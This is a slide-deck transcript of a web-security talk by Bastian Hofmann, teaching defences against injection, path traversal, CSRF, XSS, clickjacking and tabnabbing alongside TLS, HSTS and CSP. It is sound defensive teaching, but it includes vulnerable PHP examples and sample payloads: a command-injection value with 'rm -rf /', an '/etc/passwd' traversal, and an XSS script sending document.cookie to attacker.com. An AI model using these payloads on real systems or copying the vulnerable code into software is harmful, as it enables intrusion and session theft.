$30 off During Our Annual Pro Sale. View Details »

Vorausschauende Sicherheits-Architektur

Vorausschauende Sicherheits-Architektur

Eine Web Seite sicher und frei von Sicherheitslücken zu halten ist harte Arbeit, unabhängig davon ob man sich informiert und z.B. die OWASP Top 10 kennt. In diesem Vortrag werden Tools und Best Practices vorgestellt, die helfen, Sicherheitsprobleme vor einem Angreifer zu entdecken und sogar von vorneherein zu vermeiden.

Bastian Hofmann

May 05, 2018
Tweet

More Decks by Bastian Hofmann

Other Decks in Programming

Transcript

  1. @BastianHofmann
    Proactive Web Security
    Bastian Hofmann

    View Slide

  2. Thinking about Security is
    important

    View Slide

  3. • 2013/14
    • 3 billion user
    accounts

    View Slide

  4. • 2016
    • 145 million
    user accounts

    View Slide

  5. • 2016
    • 412 million
    user accounts

    View Slide

  6. • 2017
    • Personal
    Information of

    143 million
    consumers

    View Slide

  7. • 2011
    • 77 million user
    accounts

    $171 million
    loss

    View Slide


  8. View Slide

  9. Everyone is a target for attackers

    View Slide

  10. So let’s think about the harmful
    things a hacker can do

    View Slide

  11. And what we can do to prevent
    them

    View Slide

  12. Disclaimer

    View Slide

  13. None of these lists are ever
    complete

    View Slide

  14. Stay up-to-date

    View Slide

  15. View Slide

  16. Try to get access to the database

    View Slide

  17. $ mongo yoursite.com

    View Slide

  18. Use authentication and TLS

    View Slide

  19. Do not expose your databases to
    the internet

    View Slide

  20. “There are nearly 30,000
    [MongoDB] instances on the
    Internet that don't have any
    authorization enabled”
    https://blog.shodan.io/its-the-data-stupid/

    View Slide

  21. Scan your public IPs for open
    ports

    View Slide

  22. nmap

    View Slide

  23. $ nmap scanme.nmap.org
    Starting Nmap 7.60 …
    Not shown: 994 closed ports
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http
    135/tcp filtered msrpc
    139/tcp filtered netbios-ssn
    445/tcp filtered microsoft-ds
    9929/tcp open nping-echo

    View Slide

  24. $ nmap www.researchgate.net
    Starting Nmap 7.60 …
    PORT STATE SERVICE
    80/tcp open http
    443/tcp open https

    View Slide

  25. These are still two open ports

    View Slide

  26. Attack vector

    View Slide

  27. Bugs in your software

    View Slide

  28. Injections

    View Slide

  29. SQL Injection

    View Slide

  30. $userId = $_GET[‘userId’];
    $sql = ‘SELECT * FROM users WHERE id =‘
    . $userId;
    $mysqli->query($sql);

    View Slide

  31. // 12 OR TRUE
    $userId = $_GET[‘userId’];
    $sql = ‘SELECT * FROM users WHERE id =‘
    . $userId;
    $mysqli->query($sql);

    View Slide

  32. Escape

    View Slide

  33. $name = $_GET[‘name’];
    $name = $mysqli->real_escape_string($name);
    $sql = ‘SELECT * FROM users WHERE name = ’
    . $name;
    $mysqli->query($sql);

    View Slide

  34. Use an ORM

    View Slide

  35. http://www.doctrine-
    project.org/projects/
    orm.html

    View Slide

  36. $userId = (int) $_GET[‘userId’];
    $user = $entityManager->find(
    ‘User’,
    $userId
    );

    View Slide

  37. Use prepared statements

    View Slide

  38. $userId = (int) $_GET[‘userId’];
    $rsm = new ResultSetMapping();
    $query = $entityManager->createNativeQuery(
    'SELECT * FROM users WHERE userId = ?',
    $rsm
    );
    $query->setParameter(1, $userId);
    $users = $query->getResult();

    View Slide

  39. There are more types of
    injections

    View Slide

  40. Injection in HTTP requests

    View Slide

  41. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/?id=' . $_GET[‘id']
    );

    View Slide

  42. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    // 6&admin=true
    'https://api.com/path/?id=' . $_GET[‘id']
    );

    View Slide

  43. Always escape

    View Slide

  44. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/?id=' . urlencode($_GET[‘id’])
    );

    View Slide

  45. Use sensible libraries

    View Slide

  46. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/',
    ['query' => ['id' => $_GET['id']]]
    );

    View Slide

  47. Command injection

    View Slide

  48. $logFile = $_GET['logFile'];
    passthru(
    'cat ' . __DIR__ . '/' . $logFile
    );

    View Slide

  49. // foo.log && rm -rf /
    $logFile = $_GET['logFile'];
    passthru(
    'cat ' . __DIR__ . '/' . $logFile
    );

    View Slide

  50. Always escape

    View Slide

  51. $logFile = $_GET['logFile'];
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/' . $logFile
    )
    );

    View Slide

  52. Path traversals

    View Slide

  53. // ../../../etc/passwd
    $logFile = $_GET['logFile'];
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/' . $logFile
    )
    );

    View Slide

  54. Validation

    View Slide

  55. $logFile = $_GET['logFile'];
    if (!preg_match('/^[a-z]+\.log$/', $logFile) {
    throw new \Exception('Invalid file name');
    }
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/' . $logFile
    )
    );

    View Slide

  56. $logFile = $_GET['logFile'];
    $file = realpath(__DIR__ . '/' . $logFile);
    if (dirname($file) !== __DIR__) {
    throw \Exception('Invalid file');
    }
    passthru(
    'cat ' .
    escapeshellarg(
    $file
    )
    );

    View Slide

  57. Code injection

    View Slide

  58. $myvar = "varname";
    $x = $_GET['arg'];
    eval("\$myvar = \$x;");

    View Slide

  59. Do not use eval or
    create_function

    View Slide

  60. XML Entity Injection

    View Slide



  61. >]>&xxe;

    View Slide

  62. Disable entity loading

    View Slide

  63. // set this very early in your request
    libxml_disable_entity_loader(true);

    View Slide

  64. Only enable it,
    if you really need it

    View Slide

  65. Trusted SOAP APIs over TLS

    View Slide

  66. function dangerouslyEnableXmlEntityLoader(
    callable $f
    ) {
    try {
    libxml_disable_entity_loader(false);
    return $f();
    } finally {
    libxml_disable_entity_loader(true);
    }
    }

    View Slide

  67. Use static code analysis, e.g. with
    PHP_CodeSniffer

    View Slide

  68. If the attacker can’t find any
    injection vulnerabilities

    View Slide

  69. Trying to find bugs in libraries
    you use

    View Slide

  70. Keep things up to date

    View Slide

  71. Check for known security
    vulnerabilities

    View Slide

  72. View Slide

  73. https://github.com/
    sensiolabs/security-
    checker

    View Slide

  74. $ php security-checker security:check ./composer.lock
    Symfony Security Check Report
    =============================
    [OK] No packages have known vulnerabilities.

    View Slide

  75. View Slide

  76. https://github.com/
    nodesecurity/nsp

    View Slide

  77. $ nsp check --reporter summary
    (+) No known vulnerabilities found

    View Slide

  78. Trying to find bugs in your
    infrastructure

    View Slide

  79. Web-Server

    View Slide

  80. PHP

    View Slide

  81. OS

    View Slide


  82. View Slide

  83. Keep things up to date

    View Slide

  84. Scan for known vulnerabilities

    View Slide

  85. https://github.com/
    future-architect/vuls

    View Slide

  86. localhost (centos7.3.1611)
    ==========================
    Total: 109 (High:35 Medium:55 Low:16 ?:3) 31
    updatable packages
    CVE-2015-2806 10.0 HIGH (nvd)
    Stack-based buffer overflow in
    asn1_der_decoding in libtasn1 before 4.4 allows
    remote attackers to have
    unspecified impact via unknown vectors.

    View Slide

  87. If there are no vulnerabilities so
    far

    View Slide

  88. Try to take over accounts

    View Slide

  89. Man-in-the-middle attacks

    View Slide

  90. HTTP is plain text

    View Slide

  91. Very easy to read and modify on
    the wire

    View Slide

  92. Public WiFis

    View Slide

  93. $ sudo tcpdump -v port 80

    View Slide

  94. $ curl http://google.com

    View Slide

  95. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next-
    header TCP (6) payload length: 549) muc11s14-in-x0e.
    1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b.
    60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack
    75, win 106, options [nop,nop,TS val 2632812618 ecr
    335746159], length 517: HTTP, length: 517
    HTTP/1.1 302 Found
    Cache-Control: private
    Content-Type: text/html; charset=UTF-8
    Referrer-Policy: no-referrer
    Location: http://www.google.de/?
    gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ
    Content-Length: 268
    Date: Fri, 12 Jan 2018 13:06:40 GMT

    View Slide

  96. Encrypt the traffic

    View Slide

  97. TLS

    View Slide

  98. But “TLS is slow and expensive”

    View Slide

  99. https://letsencrypt.org/

    View Slide

  100. https://istlsfastyet.com/

    View Slide

  101. Check config

    View Slide

  102. https://
    www.ssllabs.com/
    ssltest

    View Slide

  103. View Slide

  104. What happens when you enter a
    URL into the address bar?

    View Slide

  105. View Slide

  106. $ curl -I http://www.researchgate.net
    HTTP/1.1 301 Moved Permanently
    Content-Length: 178
    Content-Type: text/html
    Date: Fri, 12 Jan 2018 13:02:35 GMT
    Location: https://www.researchgate.net/
    Server: nginx
    Connection: keep-alive

    View Slide

  107. Man-in-the-Middle Attack on
    initial redirect

    View Slide

  108. Strict-Transport-Security
    https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/S

    View Slide

  109. strict-transport-security: max-age=15552000;
    includeSubDomains; preload

    View Slide

  110. chrome://net-internals/
    #hsts

    View Slide

  111. Man-in-the-Middle Attack on the
    very first time the user visits a
    site

    View Slide

  112. Browser Preloads

    View Slide

  113. strict-transport-security: max-age=15552000;
    includeSubDomains; preload

    View Slide

  114. https://hstspreload.org/

    View Slide

  115. So no man-in-the middle

    View Slide

  116. Brute force to guess the session
    id

    View Slide

  117. Session ID should be long
    enough

    View Slide

  118. https://secure.php.net/
    manual/en/
    session.configuration.p
    hp#ini.session.hash-
    function

    View Slide

  119. Brute force to guess the
    password

    View Slide

  120. Ratelimits

    View Slide

  121. Captchas

    View Slide

  122. View Slide

  123. Log logins

    View Slide

  124. Remote logout

    View Slide

  125. View Slide

  126. Alert user of logins on a new
    device

    View Slide

  127. View Slide

  128. Two-Factor-Authentication

    View Slide

  129. “Less then 10 percent of all
    google users use Two-Factor-
    Authentication”
    http://uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor-
    authentication

    View Slide

  130. E-Mail only logins

    View Slide

  131. View Slide

  132. View Slide

  133. View Slide

  134. View Slide

  135. View Slide

  136. Works great on mobile where
    entering a password is tedious

    View Slide

  137. Getting into the accounts directly
    is not possible or very expensive

    View Slide

  138. Doing actions on the user’s
    behalf without direct account
    takeover

    View Slide

  139. Cross Site Request Forgery

    View Slide

  140. http://site.com/
    deleteCurrentAccount

    View Slide

  141. Session cookie is necessary for
    the request to work

    View Slide

  142. On the site of an attacker

    View Slide

  143. src=“http://site.com/deleteCurrentAccount"
    />

    View Slide

  144. The browser automatically adds
    the session cookie when the
    image is fetched

    View Slide

  145. Or an email with
    “Hey click on http://bit.ly/2n1b42n
    to win”

    View Slide

  146. Don’t support GET requests for
    writing operations

    View Slide

  147. Though that does not help

    View Slide

  148. On the site of an attacker

    View Slide

  149. id="form"
    action="http://site.com/deleteCurrentAccount">

    <br/>document.getElementById("form")<br/>.submit()<br/>

    View Slide

  150. CSRF tokens

    View Slide

  151. Create token that has the Session
    ID cookie value encrypted

    View Slide

  152. $plaintext = $sessionId . '/' . $userId . '/' . time();
    $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
    $token = base64_encode($nonce .
    sodium_crypto_secretbox($plaintext, $nonce, $key));

    View Slide

  153. Add this token to every non GET
    request

    View Slide

  154. id="form"
    action=“http://site.com/deleteCurrentAccount">
    name="csrf_token"
    value="" />

    View Slide

  155. Same for XHR requests

    View Slide

  156. Verify that the content of the
    token matches the session from
    the cookie

    View Slide

  157. $token = $_POST['csrf_token'];
    $nonce = substr(
    $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );
    $crypt = substr(
    $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );
    $plaintext = sodium_crypto_secretbox_open($crypt, $nonce,
    $key);
    [$sessionId, $userId, $time] = explode('/', $plaintext);
    // …

    View Slide

  158. if (
    $sessionId !== session_id() ||
    $userId !== $_SESSION['userId'] ||
    time() - $time > 7200
    ) {
    throw \Exception('Invalid csrf token');
    }

    View Slide

  159. Because of the Cross Origin
    Policy an attacker can not get
    hold of a matching CSRF token

    View Slide

  160. Libraries / Frameworks

    View Slide

  161. https://symfony.com/
    doc/current/security/
    csrf.html

    View Slide

  162. Same Site Cookies

    View Slide

  163. Browser only sends cookie in a
    “first-party-context”

    View Slide

  164. http://
    www.sjoerdlangkemper.
    nl/2016/04/14/
    preventing-csrf-with-
    samesite-cookie-
    attribute/

    View Slide

  165. Set-Cookie: sessionid=...; Secure; HttpOnly;
    SameSite=strict

    View Slide

  166. https://wiki.php.net/rfc/
    same-site-cookie

    View Slide

  167. https://caniuse.com/
    #feat=same-site-cookie-
    attribute

    View Slide

  168. View Slide

  169. But there are other ways to do
    something on behalf of the user

    View Slide

  170. XSS Injection

    View Slide




  171. User generated comment
    that comes from database



    View Slide








  172. View Slide




  173. User generated comment
    <br/>fetch(<br/>'http://attacker.com/?cookies=' + document.cookie<br/>)<br/>
    that comes from database



    View Slide

  174. Escape content

    View Slide




  175. echo htmlspecialchars($comment);
    ?>



    View Slide

  176. Template libraries

    View Slide

  177. https://
    twig.symfony.com/

    View Slide

  178. {% autoescape "html" %}



    {{ comment }}



    {% endautoescape %}

    View Slide

  179. https://
    mustache.github.io/

    View Slide




  180. {{comment}}



    View Slide

  181. Frontend frameworks

    View Slide

  182. https://reactjs.org/

    View Slide

  183. What if you want to allow certain
    HTML tags

    View Slide

  184. Formatting, Links, Paragraphes, …

    View Slide

  185. HTML Purifier

    View Slide

  186. http://htmlpurifier.org/

    View Slide

  187. $config = HTMLPurifier_Config::createDefault();
    $purifier = new HTMLPurifier($config);
    $cleanHtml = $purifier->purify($dirtyHtml);

    View Slide

  188. It’s easy to make errors

    View Slide

  189. Try to limit the impact

    View Slide

  190. HTTPS only Cookies

    View Slide

  191. Set-Cookie: sessionid=...; Secure; HttpOnly

    View Slide

  192. $expire = 0;
    $path = '';
    $domain = '';
    $secure = true;
    $httpOnly = true;
    setcookie(
    'sessionId', '...', $expire, $path,
    $domain, $secure, $httpOnly
    );

    View Slide

  193. Content Security Policy

    View Slide

  194. https://
    developer.mozilla.org/
    en-US/docs/Web/HTTP/
    CSP

    View Slide

  195. Content-Security-Policy: default-src 'none'; script-src
    'self'; connect-src 'self'; img-src 'self'; style-src
    'self';

    View Slide

  196. View Slide

  197. Reporting

    View Slide

  198. Content-Security-Policy: default-src … report-uri /
    csp_errors;

    View Slide

  199. Do not allow inline script tags

    View Slide

  200. But if you must

    View Slide

  201. CSP Nonces

    View Slide

  202. Content-Security-Policy: script-src 'nonce-2726c7f26c'

    View Slide

  203. ...

    View Slide

  204. No XSS vulnerabilities

    View Slide

  205. Trying to trick user into providing
    sensitive information

    View Slide

  206. Phishing

    View Slide

  207. Mostly hard to prevent because it
    is out of your control

    View Slide

  208. But some attack vectors are
    preventable

    View Slide

  209. Clickjacking

    View Slide

  210. View Slide

  211. View Slide





  212. <br/>...<br/>


    View Slide

  213. No direct access to page in
    IFRAME possible

    View Slide

  214. Invisible input boxes overlaying the IFRAME

    to capture input

    View Slide

  215. Forbid displaying your page in an
    IFRAME

    View Slide

  216. X-Frame-Options: SAMEORIGIN

    View Slide

  217. Tabnabbing

    View Slide

  218. target="_blank">
    Link

    View Slide

  219. Common for linking URLs in user
    provided content

    View Slide

  220. In the opened window

    View Slide

  221. <br/>if (window.opener) {<br/>opener.location = 'http://phishing-site.com';<br/>}<br/>

    View Slide

  222. Prevention

    View Slide

  223. target="_blank"
    rel="noopener">
    Link

    View Slide

  224. https://
    mathiasbynens.github.i
    o/rel-noopener/

    View Slide

  225. So that was a lot of information

    View Slide

  226. Let’s sum it up

    View Slide

  227. The internet is a scary place

    View Slide

  228. If you have users you’re a target

    View Slide

  229. Stay alert

    View Slide

  230. Invest into good security
    practices

    View Slide

  231. There is always more

    View Slide

  232. Stay up to date

    View Slide

  233. http://speakerdeck.com/
    u/bastianhofmann

    View Slide

  234. [email protected]
    https://twitter.com/BastianHofmann

    View Slide

  235. Resources
    • https://www.owasp.org
    • https://twitter.com/miss_jwo/status/957555207868690434

    View Slide

  236. Backup slides

    View Slide

  237. Speaking of URL’s in user
    generated content

    View Slide

  238. Spot the difference

    View Slide

  239. researchgate.net/login
    rеsearchgate.net/login

    View Slide

  240. researchgate.net/login
    rеsearchgate.net/login
    This is a cyrillic “e”

    View Slide

  241. International domain names

    View Slide

  242. https://en.wikipedia.org/
    wiki/
    IDN_homograph_attack

    View Slide

  243. Warn the user before browsing to
    a IDN URL

    View Slide

  244. View Slide

  245. Warn on misspellings

    View Slide

  246. reserchgate.net/login

    View Slide

  247. researchgate.tv/login

    View Slide

  248. researchgate.education/login

    View Slide

  249. researchgate.attacker.com/login

    View Slide

  250. Follow redirects

    View Slide

  251. http://bit.ly/1bdDlXc

    View Slide

  252. View Slide

  253. Still HTML/XSS injection
    vulnerabilities are bad

    View Slide

  254. Try to detect them

    View Slide

  255. In your template library

    View Slide

  256. https://
    mustache.github.io/

    View Slide

  257. Every time something gets
    escaped, also replace “e” with an
    escape sequence

    View Slide

  258. Before returning the resulting
    HTML

    View Slide

  259. Check if there are any “e”
    characters left

    View Slide

  260. If yes, log this as a potential XSS
    vulnerability

    View Slide

  261. Replace the escape sequence
    back to “e”

    View Slide


  262. {{firstName}} {{{lastName}}}

    View Slide

  263. firstName: Peter
    lastName: Parker

    View Slide


  264. P___101___t___101___r Parker

    View Slide


  265. P___101___t___101___r Parker

    View Slide

  266. Self XSS

    View Slide

  267. “Hey open the developer tools
    and paste this code there to get
    special features”

    View Slide

  268. Add console warning

    View Slide

  269. View Slide

  270. <br/>if (<br/>typeof console === 'object' &&<br/>console.log<br/>) {<br/>console.log(<br/>'%cWARNING!',<br/>'color:white; background:red;'<br/>);<br/>...<br/>}<br/>

    View Slide

  271. Check for internal IPs

    View Slide

  272. View Slide

  273. With everything you do

    View Slide

  274. Log and monitor sensitive
    operations

    View Slide

  275. Alerts on suspicious behaviour

    View Slide

  276. Web Application Firewalls

    View Slide

  277. Ability to quickly block traffic
    patterns

    View Slide

  278. Linking URLs in user generated
    content

    View Slide

  279. Information disclosure through
    Referrer

    View Slide

  280. https://
    developer.mozilla.org/
    en-US/docs/Web/HTTP/
    Headers/Referer

    View Slide

  281. Referrer Policy

    View Slide

  282. Referrer-Policy: origin-when-cross-origin

    View Slide

  283. https://
    developer.mozilla.org/
    en-US/docs/Web/HTTP/
    Headers/Referrer-Policy

    View Slide